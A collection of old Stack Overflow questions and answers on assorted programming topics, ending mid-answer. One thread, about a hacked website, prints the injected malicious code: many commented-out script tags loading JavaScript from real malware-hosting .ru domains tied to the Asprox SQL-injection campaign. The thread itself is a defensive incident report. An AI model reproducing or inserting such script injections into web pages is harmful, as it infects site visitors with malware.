<p>Firefox 30 ignores <code>autocomplete="off"</code> for passwords, opting to prompt the user instead whether the password should be stored on the client. Note the following <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=956906#c100">commentary</a> from May 5, 2014:</p> <blockquote> <ul> <li>The password manager <em>always</em> prompts if it wants to save a password. Passwords are not saved without permission from the user.</li> <li>We are the third browser to implement this change, after IE and Chrome.</li> </ul> </blockquote> <p>According to <a href="https://developer.mozilla.org/en/How_to_Turn_Off_Form_Autocompletion">Mozilla developer documentation</a> the form element attribute <code>autocomplete</code> prevents form data from being cached in older browsers.</p> <pre><code>&lt;input type="text" name="foo" autocomplete="off" /&gt; </code></pre>
Good STL-like library for C <p>What are good libraries for C with datastructures like vectors, deques, stacks, hashmaps, treemaps, sets, etc.? Plain C, please, and platform-independent.</p>
<p>The <a href="http://library.gnome.org/devel/glib/stable/" rel="nofollow">Glib</a> library used on the Gnome project may also be some use. Moreover it is pretty well tested.</p> <p>IBM developer works has a good tutorial on its use: <a href="https://www.ibm.com/developerworks/linux/tutorials/l-glib/" rel="nofollow">Manage C data using the GLib collections</a></p>
What are effective options for embedding video in an ASP.NET web site? <p>A quick glance at the present-day internet would seem to indicate that Adobe Flash is the obvious choice for embedding video in a web page. Is this accurate, or are they other effective choices? Does the choice of ASP.NET as a platform influence this decision?</p>
<p>Flash is certainly the most ubiquitous and portable solution. <a href="http://en.wikipedia.org/wiki/Adobe_Flash#Market_share">98% of browsers</a> have Flash installed. Other alternatives are <a href="http://www.apple.com/quicktime/download/">Quicktime</a>, <a href="http://www.microsoft.com/windows/windowsmedia/default.mspx">Windows Media Player</a>, or even <a href="http://silverlight.net/">Silverlight</a> (Microsoft's Flash competitor, which can be used to embed several video formats).</p> <p>I would recommend using Flash (and it's FLV video file format) for embedding your video unless you have very specific requirements as far as video quality or DRM.</p>
What are your favorite Powershell Cmdlets? <p>I just found /n softwares free Powershell NetCmdlets, and after playing with them I love the functionality they bring to the command line. So it raises the question what are your favorite Cmdlets, and how do you use them?</p>
<p>there's an <a href="http://blog.sapien.com/index.php/2008/06/23/out-twitter/">out-twitter script</a> i use for posting to twitter. it's nice, as it means you can send something to twitter without the risk of being distracted by a browser.</p> <p>i added an alias for it, "twit".</p> <p>so now you can type, for example:</p> <pre><code>PS C:\&gt;"trying out stack overflow" | twit<br></code></pre> <p>and if successfully lodged, it will return an integer that identifies your post.</p>
Data verifications in Getter/Setter or elsewhere? <p>I'm wondering if it's a good idea to make <strong>verifications</strong> in <strong>getters</strong> and <strong>setters</strong>, or elsewhere in the code.</p> <p>This might surprise you be when it comes to <strong>optimizations</strong> and <strong>speeding</strong> up the code, I think you should not make verifications in getters and setters, but in the code where you're <strong>updating</strong> your files or database. Am I wrong?</p>
<p>Well, one of the reaons why classes usually contain private members with public getters/setters is exactly because they can verify data.</p> <p>If you have a Number than can be between 1 and 100, i would definitely put something in the setter that validates that and then maybe throw an exception that is being caught by the code. The reason is simple: If you don't do it in the setter, you have to remember that 1 to 100 limitation every time you set it, which leads to duplicated code or when you forget it, it leads to an invalid state.</p> <p>As for performance, i'm with Knuth here:</p> <blockquote> <p>"We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil."</p> </blockquote>
Global Exception Handling for winforms control <p>When working on ASP.NET 1.1 projects I always used the Global.asax to catch all errors. I'm looking for a similar way to catch all exceptions in a Windows Forms user control, which ends up being a hosted IE control. What is the proper way to go about doing something like this?</p>
<p>You need to handle the <code>System.Windows.Forms.Application.ThreadException</code> event for Windows Forms. This article really helped me: <a href="http://bytes.com/forum/thread236199.html">http://bytes.com/forum/thread236199.html</a>.</p>
Converting ARBG to RGB with alpha blending <p>Let's say that we have an ARGB color:</p> <pre><code>Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. </code></pre> <p>When this is painted on top of an existing color, the colors will blend. So when it is blended with white, the resulting color is <code>Color.FromARGB(255, 162, 133, 255);</code></p> <p>The solution should work like this:</p> <pre><code>Color blend = Color.White; Color argb = Color.FromARGB(127, 69, 12, 255); //Light Urple. Color rgb = ToRGB(argb, blend); //Same as Color.FromARGB(255, 162, 133, 255); </code></pre> <p>What is <code>ToRGB</code>'s implementation? </p>
<p>It's called <a href="http://en.wikipedia.org/wiki/Alpha_compositing">alpha blending</a>.</p> <p>In psuedocode, assuming the background color (blend) always has 255 alpha. Also assumes alpha is 0-255.</p> <pre><code>alpha=argb.alpha()<br>r = (alpha/255)*argb.r() + (1 - alpha/255)*blend.r()<br>g = (alpha/255)*argb.g() + (1 - alpha/255)*blend.g()<br>b = (alpha/255)*argb.b() + (1 - alpha/255)*blend.b()<br></code></pre> <p><em>note: you probably need to be a bit (more) careful about floating-point/int math and rounding issues, depending on language. Cast intermediates accordingly</em></p> <p><strong>Edited to add:</strong></p> <p>If you don't have a background color with an alpha of 255, the algebra gets alot more complicated. I've done it before and it's a fun exercise left to the reader (if you really need to know, ask another question :). </p> <p>In other words, what color C blends into some background the same as blending A, then blending B. This is sort of like calculating A+B (which isn't the same as B+A).</p>
Paging SQL Server 2005 Results <p>How do I page results in SQL Server 2005?</p> <p>I tried it in SQL Server 2000, but there was no reliable way to do this. I'm now wondering if SQL Server 2005 has any built in method?</p> <p>What I mean by paging is, for example, if I list users by their username, I want to be able to only return the first 10 records, then the next 10 records and so on.</p> <p>Any help would be much appreciated.</p>
<p>You can use <code>the Row_Number()</code> function. Its used as follows:</p> <pre><code>SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName FROM Users </code></pre> <p>From which it will yield a result set with a <code>RowID</code> field which you can use to page between.</p> <pre><code>SELECT * FROM ( SELECT Row_Number() OVER(ORDER BY UserName) As RowID, UserFirstName, UserLastName FROM Users ) As RowResults WHERE RowID Between 5 AND 10 </code></pre> <p>etc</p>
MySQL/Apache Error in PHP MySQL query <p>I am getting the following error:</p> <blockquote> <p>Access denied for user 'apache'@'localhost' (using password: NO)</p> </blockquote> <p>When using the following code:</p> <pre><code>&lt;?php include("../includes/connect.php"); $query = "SELECT * from story"; $result = mysql_query($query) or die(mysql_error()); echo "&lt;h1&gt;Delete Story&lt;/h1&gt;"; if (mysql_num_rows($result) &gt; 0) { while($row = mysql_fetch_row($result)){ echo '&lt;b&gt;'.$row[1].'&lt;/b&gt;&lt;span align="right"&gt;&lt;a href="../process/delete_story.php?id='.$row[0].'"&gt;Delete&lt;/a&gt;&lt;/span&gt;'; echo '&lt;br /&gt;&lt;i&gt;'.$row[2].'&lt;/i&gt;'; } } else { echo "No stories available."; } ?&gt; </code></pre> <p>The connect.php file contains my MySQL connect calls that are working fine with my INSERT queries in another portion of the software. If I comment out the $result = mysql_query line, then it goes through to the else statement. So, it is that line or the content in the if.</p> <p>I have been searching the net for any solutions, and most seem to be related to too many MySQL connections or that the user I am logging into MySQL as does not have permission. I have checked both. I can still perform my other queries elsewhere in the software, and I have verified that the account has the correct permissions.</p>
<blockquote> <p>And if it matters at all, apache@localhost is not the name of the user account that I use to get into the database. I don't have any user accounts with the name apache in them at all for that matter.</p> </blockquote> <p>If it is saying 'apache@localhost' the username is not getting passed correctly to the MySQL connection. 'apache' is normally the user that runs the httpd process (at least on Redhat-based systems) and if no username is passed during the connection MySQL uses whomever is calling for the connection.</p> <p>If you do the connection right in your script, not in a called file, do you get the same error?</p>
My website got hacked... What should I do? <p>My dad called me today and said people going to his website were getting 168 viruses trying to download to their computers. He isn't technical at all, and built the whole thing with a WYSIWYG editor.</p> <p>I popped his site open and viewed the source, and there was a line of Javascript includes at the bottom of the source right before the closing HTML tag. They included this file (among many others): <a href="http://www.98hs.ru/js.js" rel="nofollow">http://www.98hs.ru/js.js</a> &lt;-- TURN OFF JAVASCRIPT BEFORE YOU GO TO THAT URL.</p> <p>So I commented it out for now. It turns out his ftp password was a plain dictionary word six letters long, so we think that's how it got hacked. We've changed his password to an 8+ digit non-word string (he wouldn't go for a passphrase since he is a hunt-n-peck typer).</p> <p>I did a <a href="http://whois.domaintools.com/98hs.ru" rel="nofollow">whois on 98hs.ru</a> and found it is hosted from a server in Chile. There is actually an e-mail address associated with it too, but I seriously doubt this person is the culprit. Probably just some other site that got hacked...</p> <p>I have no idea what to do at this point though as I've never dealt with this sort of thing before. Anyone have any suggestions?</p> <p>He was using plain jane un-secured ftp through webhost4life.com. I don't even see a way to <em>do</em> sftp on their site. I'm thinking his username and password got intercepted?</p> <p><strong>So, to make this more relevant to the community, what are the steps you should take/best practices you should follow to protect your website from getting hacked?</strong></p> <p>For the record, here is the line of code that "magically" got added to his file (and isn't in his file on his computer -- I've left it commented out just to make absolute sure it won't do anything on this page, although I'm sure Jeff would guard against this):</p> <pre><code>&lt;!--script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.98hs.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.porv.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script&gt;&lt;script src=http://www.uhwc.ru/js.js&gt;&lt;/script--&gt; </code></pre>
<p>I know this is a little late in the game, but the URL mentioned for the JavaScript is mentioned in a list of sites known to have been part of the ASPRox bot resurgence that started up in June (at least that's when we were getting flagged with it). Some details about it are mentioned below:</p> <p><a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx" rel="nofollow">http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx</a> </p> <p>The nasty thing about this is that effectively every varchar type field in the database is "infected" to spit out a reference to this URL, in which the the browser gets an tiny iframe that turns it into a bot. A basic SQL fix for this can be found here:</p> <p><a href="http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx" rel="nofollow">http://aspadvice.com/blogs/programming_shorts/archive/2008/06/27/Asprox-Recovery.aspx</a></p> <p>The scary thing though is that the virus looks to the system tables for values to infect and a lot of shared hosting plans also share the database space for their clients. So most likely it wasn't even your dad's site that was infected, but somebody else's site within his hosting cluster that wrote some poor code and opened the door to SQL Injection attack.</p> <p>If he hasn't done so yet, I'd send an URGENT e-mail to their host and give them a link to that SQL code to fix the entire system. You can fix your own affected database tables, but most likely the bots that are doing the infection are going to pass right through that hole again and infect the whole lot.</p> <p>Hopefully this gives you some more info to work with.</p> <p>EDIT: One more quick thought, if he's using one of the hosts online design tools for building his website, all of that content is probably sitting in a column and was infected that way.</p>
How to set up unit testing for Visual Studio C++ <p>I'm having trouble figuring out how to get the testing framework set up and usable in Visual Studio 2008 for C++ presumably with the built-in unit testing suite.</p> <p>Any links or tutorials would be appreciated.</p>
<p><a href="http://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle" rel="nofollow">This page</a> may help, it reviews quite a few C++ unit test frameworks:</p> <ul> <li>CppUnit </li> <li>Boost.Test</li> <li>CppUnitLite </li> <li>NanoCppUnit</li> <li>Unit++</li> <li>CxxTest</li> </ul> <p>Check out <strong><em><a href="http://www.objectmentor.com/resources/downloads.html" rel="nofollow">CPPUnitLite</a></em></strong> or <strong><em><a href="http://gamesfromwithin.com/?p=48" rel="nofollow">CPPUnitLite2</a></em></strong>. </p> <p><em>CPPUnitLite</em> was created by Michael Feathers, who originally ported Java's JUnit to C++ as CPPUnit (CPPUnit tries mimic the development model of JUnit - but C++ lacks Java's features [e.g. reflection] to make it easy to use). </p> <p>CPPUnitLite attempts to make a true C++-style testing framework, not a Java one ported to C++. (I'm paraphrasing from Feather's <a href="http://rads.stackoverflow.com/amzn/click/0131177052" rel="nofollow">Working Effectively with Legacy Code</a> book). <em>CPPUnitLite2</em> seems to be another rewrite, with more features and bug fixes.</p> <p>I also just stumbled across <strong><em><a href="http://sourceforge.net/projects/unittest-cpp/" rel="nofollow">UnitTest++</a></em></strong> which includes stuff from CPPUnitLite2 and some other framework.</p> <p>Microsoft has released <strong><em><a href="http://winunit.codeplex.com/" rel="nofollow">WinUnit</a></em></strong>. </p> <p>Also checkout <strong><em><a href="https://github.com/philsquared/Catch" rel="nofollow">Catch</a></em></strong> or <strong><em><a href="https://github.com/onqtam/doctest" rel="nofollow">Doctest</a></em></strong></p>
Anyone soloing using fogbugz? <p>Is there anyone working solo and using fogbugz out there? I'm interested in personal experience/overhead versus paper.</p> <p>I am involved in several projects and get pretty hammered with lots of details to keep track of... Any experience welcome.</p> <p>(Yes I know Mr. Joel is on the stackoverflow team... I still want good answers :)</p>
<p>I use it, especially since the hosted Version of FugBugz <a href="http://stackoverflow.com/questions/3180/anyone-soloing-using-fogbugz#3581">is free for up to 2 people</a>. I found it a lot nicer than paper as I'm working on multiple projects, and my paper tends to get rather messy once you start making annotations or if you want to re-organize and shuffle tasks around, mark them as complete only to see that they are not complete after all...</p> <p>Plus, the Visual Studio integration is really neat, something paper just cannot compete with. Also, if you lay the project to rest for 6 months and come back, all your tasks and notes are still there, whereas with paper you may need to search all the old documents and notes again, if you did not discard it.</p> <p>But that is just the point of view from someone who is not really good at staying organized :-) If you are a really tidy and organized person, paper may work better for you than it does for me.</p> <p>Bonus suggestion: Run Fogbugz on a second PC (or a small Laptop like the eeePC) so that you always have it at your fingertips. The main problem with Task tracking programs - be it FogBugz, Outlook, Excel or just notepad - is that they take up screen space, and my two monitors are usually full with Visual Studio, e-Mail, Web Browsers, some Notepads etc.</p>
How do you pack a visual studio c++ project for release? <p>I'm wondering how to make a release build that includes all necessary dll files into the .exe so the program can be run on a non-development machine without it having to install the microsoft redistributable on the target machine.</p> <p>Without doing this you get the error message that the application configuration is not correct and to reinstall. </p>
<ol> <li>Choose Project -> Properties</li> <li>Select Configuration -> General</li> <li>In the box for how you should link MFC, choose to statically link it.</li> <li>Choose Linker -> Input. Under <strong>Additional Dependencies</strong>, add any libraries you need your app to statically link in.</li> </ol> <p>For more info, see this article: <a href="http://www.geekadmin.com/?p=34">http://www.geekadmin.com/?p=34</a></p>
Peak detection of measured signal <p>We use a data acquisition card to take readings from a device that increases its signal to a peak and then falls back to near the original value. To find the peak value we currently search the array for the highest reading and use the index to determine the timing of the peak value which is used in our calculations.</p> <p>This works well if the highest value is the peak we are looking for but if the device is not working correctly we can see a second peak which can be higher than the initial peak. We take 10 readings a second from 16 devices over a 90 second period.</p> <p>My initial thoughts are to cycle through the readings checking to see if the previous and next points are less than the current to find a peak and construct an array of peaks. Maybe we should be looking at a average of a number of points either side of the current position to allow for noise in the system. Is this the best way to proceed or are there better techniques?</p> <hr> <p>We do use LabVIEW and I have checked the <a href="http://forums.lavag.org/Peak-Detection-t8499.html">LAVA forums</a> and there are a number of interesting examples. This is part of our test software and we are trying to avoid using too many non-standard VI libraries so I was hoping for feedback on the process/algorithms involved rather than specific code. </p>
<p>There are lots and lots of classic peak detection methods, any of which might work. You'll have to see what, in particular, bounds the quality of your data. Here are basic descriptions:</p> <ol> <li><p>Between any two points in your data, (x(0),y(0)) and (x(n),y(n)), add up y(i+1)-y(i) for 0 &lt;= i &lt; n and call this T ("travel") and set R ("rise") to y(n)- y(0) + k for suitably small k. T/R > 1 indicates a peak. This works OK if large travel due to noise is unlikely or if noise distributes symmetrically around a base curve shape. For your application, accept the earliest peak with a score above a given threshold, or analyze the curve of travel per rise values for more interesting properties.</p></li> <li><p>Use matched filters to score similarity to a standard peak shape (essentially, use a normalized dot-product against some shape to get a cosine-metric of similarity)</p></li> <li><p>Deconvolve against a standard peak shape and check for high values (though I often find 2 to be less sensitive to noise for simple instrumentation output).</p></li> <li><p>Smooth the data and check for triplets of equally spaced points where, if x0 &lt; x1 &lt; x2, y1 > 0.5*(y0+y2), or check Euclidean distances like this: D((x0,y0),(x1,y1)) + D((x1,y1),(x2,y2)) > D((x0,y0),(x2,y2)), which relies on the triangle inequality. Using simple ratios will again provide you a scoring mechanism.</p></li> <li><p>Fit a very simple 2-gaussian mixture model to your data (for example, Numerical Recipes has a nice ready-made chunk of code). Take the earlier peak. This will deal correctly with overlapping peaks.</p></li> <li><p>Find the best match in the data to a simple Gaussian, Cauchy, Poisson, or what-have-you curve. Evaluate this curve over a broad range and subtract it from a copy of the data after noting it's peak location. Repeat. Take the earliest peak whose model parameters (standard deviation probably, but some applications might care about kurtosis or other features) meet some criterion. Watch out for artifacts left behind when peaks are subtracted from the data. Best match might be determined by the kind of match scoring suggested in #2 above.</p></li> </ol> <p>I've done what you're doing before: finding peaks in DNA sequence data, finding peaks in derivatives estimated from measured curves, and finding peaks in histograms.</p> <p>I encourage you to attend carefully to proper baselining. Wiener filtering or other filtering or simple histogram analysis is often an easy way to baseline in the presence of noise.</p> <p>Finally, if your data is typically noisy and you're getting data off the card as unreferenced single-ended output (or even referenced, just not differential), and if you're averaging lots of observations into each data point, try sorting those observations and throwing away the first and last quartile and averaging what remains. There are a host of such outlier elimination tactics that can be really useful.</p>
How do you get leading wildcard full-text searches to work in SQL Server? <p><strong>Note:</strong> I <em>am</em> using SQL's Full-text search capabilities, CONTAINS clauses and all - the * is the wildcard in full-text, % is for LIKE clauses only.</p> <p>I've read in several places now that "leading wildcard" searches (e.g. using "*overflow" to match "stackoverflow") is not supported in MS SQL. I'm considering using a <a href="http://blogs.msdn.com/sqlclr/archive/2005/06/29/regex.aspx">CLR function to add regex matching</a>, but I'm curious to see what other solutions people might have.</p> <p><strong>More Info</strong>: <a href="http://msdn.microsoft.com/en-us/library/ms552152.aspx">You can add the asterisk only at the end of the word or phrase.</a> - along with my empirical experience: When matching "myvalue", "my*" works, but "(asterisk)value" returns no match, when doing a query as simple as:</p> <pre><code>SELECT * FROM TABLENAME WHERE CONTAINS(TextColumn, '"*searchterm"'); </code></pre> <p>Thus, my need for a workaround. I'm only using search in my site on an actual search page - so it needs to work basically the same way that Google works (in the eyes on a Joe Sixpack-type user). Not nearly as complicated, but this sort of match really shouldn't fail.</p>
<p>Workaround only for leading wildcard:</p> <ul> <li>store the text reversed in a different field (or in materialised view)</li> <li>create a full text index on this column</li> <li><p>find the reversed text with an *</p> <pre><code>SELECT * FROM TABLENAME WHERE CONTAINS(TextColumnREV, '"mrethcraes*"'); </code></pre></li> </ul> <p>Of course there are many drawbacks, just for quick workaround...</p> <p>Not to mention CONTAINSTABLE...</p>
How do I Transform Sql Columns into Rows? <p>I have a very simple problem which requires a very quick and simple solution in SQL Server 2005.</p> <p>I have a table with x Columns. I want to be able to select one row from the table and then transform the columns into rows.</p> <pre><code>TableA Column1, Column2, Column3 </code></pre> <p>SQL Statement to ruturn</p> <pre><code>ResultA Value of Column1 Value of Column2 Value of Column3 </code></pre> <hr> <p><strong>@Kevin:</strong> I've had a google search on the topic but alot of the example where overly complex for my example, <strong>are you able to help further?</strong></p> <p>@Mario: The solution I am creating has 10 columns which stores the values 0 to 6 and I must work out how many columns have the value 3 or more. So I thought about creating a query to turn that into rows and then using the generated table in a subquery to say count the number of rows with Column >= 3</p>
<P>You should take a look at the UNPIVOT clause.</P> <P><STRONG>Update1</STRONG>: GateKiller, strangely enough I read an article (about something unrelated) about it this morning and I'm trying to jog my memory where I saw it again, had some decent looking examples too. It'll come back to me I'm sure.</P> <P><STRONG>Update2</STRONG>: Found it: <A href="http://weblogs.sqlteam.com/jeffs/archive/2008/04/23/unpivot.aspx" rel="nofollow">http://weblogs.sqlteam.com/jeffs/archive/2008/04/23/unpivot.aspx</A></P>
What does the term "BODMAS" mean? <p>What is BODMAS and why is it useful in programming?</p>
<p><a href="http://www.easymaths.com/What_on_earth_is_Bodmas.htm"><a href="http://www.easymaths.com/What_on_earth_is_Bodmas.htm">http://www.easymaths.com/What_on_earth_is_Bodmas.htm</a></a>:</p> <blockquote> <p>What do you think the answer to 2 + 3 x 5 is?</p> <p>Is it (2 + 3) x 5 = 5 x 5 = 25 ?</p> <p>or 2 + (3 x 5) = 2 + 15 = 17 ?</p> <p>BODMAS can come to the rescue and give us rules to follow so that we always get the right answer:</p> <p>(B)rackets (O)rder (D)ivision (M)ultiplication (A)ddition (S)ubtraction</p> <p>According to BODMAS, multiplication should always be done before addition, therefore 17 is actually the correct answer according to BODMAS and will also be the answer which your calculator will give if you type in 2 + 3 x 5 .</p> </blockquote> <p>Why it is useful in programming? No idea, but i assume it's because you can get rid of some brackets? I am a quite defensive programmer, so my lines can look like this:</p> <pre><code>result = (((i + 4) - (a + b)) * MAGIC_NUMBER) - ANOTHER_MAGIC_NUMBER; </code></pre> <p>with BODMAS you can make this a bit clearer:</p> <pre><code>result = (i + 4 - (a + b)) * MAGIC_NUMBER - ANOTHER_MAGIC_NUMBER; </code></pre> <p>I think i'd still use the first variant - more brackets, but that way i do not have to learn yet another rule and i run into less risk of forgetting it and causing those weird hard to debug errors?</p> <p>Just guessing at that part though.</p> <p>Mike Stone EDIT: Fixed math as Gaius points out</p>
How do I run Rake tasks within a Ruby script? <p>I have a <code>Rakefile</code> with a Rake task that I would normally call from the command line:</p> <pre><code>rake blog:post Title </code></pre> <p>I'd like to write a Ruby script that calls that Rake task multiple times, but the only solution I see is shelling out using `` (backticks) or <code>system</code>.</p> <p>What's the right way to do this?</p>
<p>from <a href="http://www.timocracy.com/articles/2008/02/21/calling-invoking-rails-rake-tasks-from-within-ruby-for-testing-try-2">timocracy.com</a>:</p> <pre><code>require 'rake' require 'rake/rdoctask' require 'rake/testtask' require 'tasks/rails' def capture_stdout s = StringIO.new oldstdout = $stdout $stdout = s yield s.string ensure $stdout = oldstdout end Rake.application.rake_require '../../lib/tasks/metric_fetcher' results = capture_stdout {Rake.application['metric_fetcher'].invoke} </code></pre>
Is there a WMI Redistributable Package? <p>I've been working on a project that accesses the WMI to get information about the software installed on a user's machine. We've been querying Win32_Product only to find that it doesn't exist in 64-bit versions of Windows because it's an <a href="http://msdn.microsoft.com/en-us/library/aa392726%28VS.85%29.aspx" rel="nofollow">"optional component"</a>.</p> <p>I know there are a lot of really good alternatives to querying the WMI for this information, but I've got a bit of a <a href="http://www.codeplex.com/linq2wmi" rel="nofollow">vested interest</a> in finding out how well this is going to work out.</p> <p>What I want to know is if there's some kind of redistributable that can be packaged with our software to allow 64-bit users to get the WMI Installer Provider put onto their machines? Right now, they have to install it manually and the installation requires they have their Windows disc handy.</p> <p>Edit:</p> <blockquote> <p>You didn't mention for what OS, but the WMI Redistributable Components version 1.0 definitely exists.</p> </blockquote> <p>For Operation System, we've been using .NET 3.5 so we need packages that will work on XP64 and 64bit versions of Windows Vista.</p>
<p>You didn't mention for what OS, but the <a href="http://www.microsoft.com/downloads/details.aspx?familyid=013BB284-3946-44A9-AC3C-BF2A569EAA72&amp;displaylang=en" rel="nofollow" title="Microsoft Download Center">WMI Redistributable Components version 1.0</a> definitely exists.</p> <p>For Windows Server 2003, the WMI SDK and redistributables are part of the <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=484269E2-3B89-47E3-8EB7-1F2BE6D7123A&amp;displaylang=en" rel="nofollow" title="Windows Server 2003 SDK Full Download">Server SDK</a></p> <p><em>I believe</em> that the same is true for the <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=F26B1AA4-741A-433A-9BE5-FA919850BDBF&amp;displaylang=en" rel="nofollow" title="Microsoft Download Center">Server 2008 SDK</a></p>
What code analysis tools do you use for your Java projects? <p>What code analysis tools do you use on your Java projects?</p> <p>I am interested in all kinds</p> <ul> <li>static code analysis tools (FindBugs, PMD, and any others)</li> <li>code coverage tools (Cobertura, Emma, and any others)</li> <li>any other instrumentation-based tools </li> <li>anything else, if I'm missing something</li> </ul> <p>If applicable, also state what build tools you use and how well these tools integrate with both your IDEs and build tools. </p> <p>If a tool is only available a specific way (as an IDE plugin, or, say, a build tool plugin) that information is also worth noting.</p>
<p>For static analysis tools I often use CPD, <a href="http://pmd.sourceforge.net">PMD</a>, <a href="http://findbugs.sourceforge.net">FindBugs</a>, and <a href="http://checkstyle.sourceforge.net">Checkstyle</a>.</p> <p><p>CPD is the PMD "Copy/Paste Detector" tool. I was using PMD for a little while before I noticed the <a href="http://pmd.sourceforge.net/cpd.html">"Finding Duplicated Code" link</a> on the <a href="http://pmd.sourceforge.net">PMD web page</a>.</p> <p><p>I'd like to point out that these tools can sometimes be extended beyond their "out-of-the-box" set of rules. And not just because they're open source so that you can rewrite them. Some of these tools come with applications or "hooks" that allow them to be extended. For example, PMD comes with the <a href="http://pmd.sourceforge.net/howtowritearule.html">"designer" tool</a> that allows you to create new rules. Also, Checkstyle has the <a href="http://checkstyle.sourceforge.net/config_misc.html#DescendantToken">DescendantToken</a> check that has properties that allow for substantial customization.</p> <p><p>I integrate these tools with <a href="http://virtualteamtls.svn.sourceforge.net/viewvc/virtualteamtls/trunk/scm/common.xml?view=markup">an Ant-based build</a>. You can follow the link to see my commented configuration.</p> <p><p>In addition 